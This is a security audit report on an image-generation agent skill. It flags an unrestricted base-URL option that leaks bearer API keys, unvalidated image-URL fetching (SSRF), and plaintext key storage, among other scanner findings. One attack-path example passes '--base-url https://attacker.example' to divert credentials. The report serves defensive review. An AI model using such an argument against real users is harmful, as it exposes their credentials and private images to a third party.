Back to skill

Security audit

Nano Banana Image T8

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly a coherent image-generation helper, but it handles API keys and images in ways that need review before installation.

Review this before installing if you will use a real API key or private images. Only use it with a key you can rotate, avoid passing any custom --base-url, and understand that prompts, source images, and generated-image downloads may leave your machine through the configured service path. Remove or rotate the saved key if you stop using the skill.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/test_nano_banana_2.py:310
Finding

Unrestricted API Base URL Can Expose Bearer Credentials and User Content

Content
View full analysis
dict[str, str]: return {"Authorization": f"Bearer {api_key}"} ``` ### Technical Analysis The Skill documentation states that the API base address must remain fixed at `https://ai.t8star.cn`, but the executable script exposes an unrestricted `--base-url` option. No validation enforces HTTPS, the expected hostname, or an approved port. The API key is installed as a default header on the shared `httpx.Client`. Requests to the caller-selected base URL therefore carry the user's bearer credential. Image prompts and image-edit source files are also sent to that destination. This violates the Skill's documented trust boundary. The declared functionality only requires access to the designated image-generation service, so allowing arbitrary credential-bearing origins exceeds the minimum network privileges necessary. ### Attack Path 1. A user, malicious instruction, or compromised orchestration layer influences the script arguments. 2. The invocation supplies an attacker-controlled destination, such as: ```text --base-url https://attacker.example ``` 3. The script creates an HTTP client containing: ```text Authorization: Bearer ...[truncated 975 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/test_nano_banana_2.py:89
Finding

Unvalidated Server-Supplied Image URL Enables SSRF and Credential Disclosure

Content
View full analysis
bytes: if "b64_json" in item and isinstance(item["b64_json"], str): return base64.b64decode(item["b64_json"]) url_value = item.get("url") if isinstance(url_value, str) and url_value: resp = client.get(url_value, timeout=60) resp.raise_for_status() return resp.content raise RuntimeError("响应中未包含 b64_json 或 url") ``` The same client is initialized with a default bearer authorization header and automatic redirect processing: ```python with httpx.Client(headers=_build_headers(api_key), follow_redirects=True) as client: ``` ### Technical Analysis The image API may return an arbitrary URL in the `url` response field. The script retrieves that URL without checking: - The URL scheme. - The hostname or resolved IP address. - Whether the destination is loopback, link-local, private, or otherwise reserved. - Whether redirects lead to a different or internal destination. - The response content type. - The maximum response size. Because the shared HTTP client has a default `Authorization` header, a direct request to a server-selected external URL may also include the user's bearer credential. Automatic redirects broaden the set of reachable destinations, although client behavior may restrict forwarding authentication across some cross-origin redirects. Reading `resp.content` loads the entire response into memory, and `_save_image` subsequently writes it to disk without a size restriction. A malicious endpoint can therefore also cause resource exhaustion. ### Attack Path 1. The configured API service is compromised, malicious, or replaced through the unrestricted `--base-url` behavior. 2. It returns a syntactically v ...[truncated 1315 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/test_nano_banana_2.py:217
Finding

API Key Is Persisted in a Predictable Plaintext File Without Explicit Opt-In

Content
View full analysis
None: _KEY_FILE.parent.mkdir(parents=True, exist_ok=True) _KEY_FILE.write_text(api_key.strip(), encoding="utf-8") _restrict_file_permissions(_KEY_FILE) ``` ```python def _collect_api_key(provided_api_key: str, interactive: bool) -> str: if provided_api_key: return provided_api_key saved_key = _load_saved_api_key() if saved_key: if not interactive: return saved_key print("检测到已保存 API Key。") choice = input("输入 1 使用默认 Key,输入 2 替换 Key(默认 1): ").strip() if choice in {"", "1"}: return saved_key if choice != "2": raise SystemExit("无效选择,请输入 1 或 2") if not interactive: raise SystemExit( "缺少 API key(且无已保存 Key)。请用 --api-key 或环境变量 NANO_BANANA_API_KEY 传入。" ) entered = getpass.getpass("请输入 API Key(输入过程不可见): ").strip() if not entered: raise SystemExit( "缺少 API key,请通过 --api-key / 环境变量 NANO_BANANA_API_KEY / 交互输入提供" ) _save_api_key(entered) print(f"API Key 已保存到: {_KEY_FILE}") return entered ``` On POSIX systems, the script subsequently applies owner-only permissions: ```python else: os.chmod(path, 0o600) ``` ### Technical Analysis The image-generation operation requires the API key only while making a request. Nevertheless, an interactively entered key is automatically written to a predictable plaintext file and reused in later sessions. The user is not presented with an explicit choice to use the key temporarily or persist it. Mode `0600` is a useful mitigation, ...[truncated 2213 chars]
Remediation
View remediation
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • Taint TrackingDirect Taint Flow, Variable-Mediated Taint Flow, Credential Exfiltration Chain
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (11)

Tp2

High
Category
MCP Tool Poisoning
Confidence
85% confidence
Finding

Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Content

No source excerpt is available for this finding.

Tp2

High
Category
MCP Tool Poisoning
Confidence
85% confidence
Finding

Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Content

No source excerpt is available for this finding.

Tp2

High
Category
MCP Tool Poisoning
Confidence
85% confidence
Finding

Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Content

No source excerpt is available for this finding.

Tp2

High
Category
MCP Tool Poisoning
Confidence
85% confidence
Finding

Mixing characters from multiple Unicode scripts in a single identifier is a common technique to create visually ambiguous tool names.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
96% confidence
Finding

The skill invokes shell/Python scripts, reads environment variables, accesses files, persists credentials to disk, and makes network requests, but it declares no explicit tool restrictions or permission scope. This creates excessive ambient authority: if the skill or referenced script is modified, it could access broader system resources than users expect while handling an API key and uploaded images.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
78% confidence
Finding

The skill content is written entirely in Chinese and directs fixed response phrasing such as 默认模型已设置为... and 回答风格简短直接, without indicating that the assistant should adapt to the user's preferred language. This can constitute a language/locale policy violation because it effectively forces a specific language without user opt-in.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The skill explicitly saves the user's API key to a persistent file, but the description does not clearly warn the user before collection/storage. Users may disclose sensitive credentials without informed consent, and the saved key can later be reused by the skill or exposed through host compromise, backups, or local misconfiguration.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The script's user-facing messages, prompts, and error text are consistently written in Chinese, including interactive prompts and runtime failures. Because there is no option to select another language or any documented locale justification in the file, this appears to impose a specific language without user opt-in.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/test_nano_banana_2.py (reported line 219)May include surrounding context.

python
if os.name == "nt":
        import subprocess as _sp
        # 用 whoami 获取完整用户名(域\用户 或 机器\用户),比 USERNAME 环境变量更可靠
        whoami = _sp.run(["whoami"], capture_output=True, text=True).stdout.strip()
        user = whoami or os.environ.get("USERNAME", "")
        if user:
            _sp.run(

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/test_nano_banana_2.py (reported line 222)May include surrounding context.

python
whoami = _sp.run(["whoami"], capture_output=True, text=True).stdout.strip()
        user = whoami or os.environ.get("USERNAME", "")
        if user:
            _sp.run(
                ["icacls", str(path), "/inheritance:r", "/grant:r", f"{user}:(R,W)"],
                capture_output=True,
            )

Tainted flow: 'user' from os.environ.get (line 220, credential/environment) → subprocess.run (code execution)

Medium
Category
Data Flow
Confidence
65% confidence
Finding

Data from a source is assigned to a variable that is later passed to a sink, creating a variable-mediated taint flow.

Content

Scanner excerpt · scripts/test_nano_banana_2.py (reported line 222)May include surrounding context.

python
whoami = _sp.run(["whoami"], capture_output=True, text=True).stdout.strip()
        user = whoami or os.environ.get("USERNAME", "")
        if user:
            _sp.run(
                ["icacls", str(path), "/inheritance:r", "/grant:r", f"{user}:(R,W)"],
                capture_output=True,
            )